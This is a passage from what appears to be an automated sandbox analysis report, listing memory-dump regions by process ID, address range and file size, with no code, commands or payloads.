                                                                                                                                                                                                                                            144KB

                                                                                                                                                                                                                                          • memory/4456-114-0x00007FF983D00000-0x00007FF983D24000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            144KB

                                                                                                                                                                                                                                          • memory/4456-115-0x00007FF987960000-0x00007FF98796F000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            60KB

                                                                                                                                                                                                                                          • memory/4456-1429-0x00007FF9706E0000-0x00007FF97085A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                                                          • memory/4456-1816-0x00007FF970940000-0x00007FF970CB9000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            3.5MB

                                                                                                                                                                                                                                          • memory/4456-1728-0x00007FF983010000-0x00007FF98303E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            184KB

                                                                                                                                                                                                                                          • memory/4456-1727-0x00007FF986890000-0x00007FF9868A9000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            100KB

                                                                                                                                                                                                                                          • memory/5544-480-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-484-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-514-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-512-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-510-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-508-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-506-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-504-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-502-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-500-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-498-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-496-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-494-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-492-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-490-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-488-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-486-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-454-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-456-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-482-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-478-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-476-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-474-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-472-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-470-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-468-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-466-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-453-0x0000013E73F10000-0x0000013E73F11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-464-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-462-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-460-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5544-458-0x0000013E73F20000-0x0000013E73F21000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/5752-1735-0x00000209BC1A0000-0x00000209BC1A8000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            32KB

                                                                                                                                                                                                                                          • memory/6188-1811-0x000000001BC20000-0x000000001C148000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            5.2MB

                                                                                                                                                                                                                                          • memory/6188-1815-0x000000001B690000-0x000000001B6A0000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                          • memory/6188-1778-0x0000000000F00000-0x0000000000F0E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                          • memory/6188-1780-0x000000001B3A0000-0x000000001B3BC000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            112KB

                                                                                                                                                                                                                                          • memory/6188-1781-0x000000001B620000-0x000000001B670000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            320KB

                                                                                                                                                                                                                                          • memory/6188-1783-0x0000000000F10000-0x0000000000F20000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                          • memory/6188-1793-0x000000001B3C0000-0x000000001B3D8000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            96KB

                                                                                                                                                                                                                                          • memory/6188-1795-0x0000000002860000-0x0000000002870000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                          • memory/6188-1797-0x000000001B380000-0x000000001B390000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                          • memory/6188-1842-0x000000001BA20000-0x000000001BA6E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            312KB

                                                                                                                                                                                                                                          • memory/6188-1837-0x000000001B9B0000-0x000000001B9C8000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            96KB

                                                                                                                                                                                                                                          • memory/6188-1835-0x000000001B710000-0x000000001B71E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                          • memory/6188-1833-0x000000001B700000-0x000000001B710000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                          • memory/6188-1831-0x000000001B6F0000-0x000000001B6FE000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                          • memory/6188-1829-0x000000001B750000-0x000000001B7AA000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            360KB

                                                                                                                                                                                                                                          • memory/6188-1819-0x000000001B6A0000-0x000000001B6B0000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                          • memory/6188-1726-0x0000000000320000-0x00000000006B2000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            3.6MB

                                                                                                                                                                                                                                          • memory/6188-1799-0x000000001B390000-0x000000001B39E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                          • memory/6188-1763-0x000000001B350000-0x000000001B376000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            152KB

                                                                                                                                                                                                                                          • memory/6188-1813-0x000000001B400000-0x000000001B40E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                          • memory/6188-1807-0x000000001B6B0000-0x000000001B6C6000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            88KB

                                                                                                                                                                                                                                          • memory/6188-1810-0x000000001B6D0000-0x000000001B6E2000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            72KB

                                                                                                                                                                                                                                          • memory/6188-1803-0x000000001B670000-0x000000001B682000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            72KB

                                                                                                                                                                                                                                          • memory/6188-1805-0x000000001B3F0000-0x000000001B400000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                          • memory/6188-1801-0x000000001B3E0000-0x000000001B3EE000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                          • memory/7604-2283-0x0000000000A60000-0x0000000000DF2000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            3.6MB

                                                                                                                                                                                                                                          • memory/8612-1924-0x00000181CDFE0000-0x00000181CE30E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            3.2MB

                                                                                                                                                                                                                                          • memory/8612-1917-0x00000181CCED0000-0x00000181CCEDA000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            40KB

                                                                                                                                                                                                                                          • memory/8612-1918-0x00000181CCF50000-0x00000181CCFBA000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            424KB

                                                                                                                                                                                                                                          • memory/8612-1921-0x00000181CD240000-0x00000181CD27A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            232KB

                                                                                                                                                                                                                                          • memory/8612-1943-0x00000181CDF10000-0x00000181CDF22000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            72KB

                                                                                                                                                                                                                                          • memory/8612-1922-0x00000181CCEA0000-0x00000181CCEC6000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            152KB

                                                                                                                                                                                                                                          • memory/8612-1923-0x00000181CD280000-0x00000181CD332000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            712KB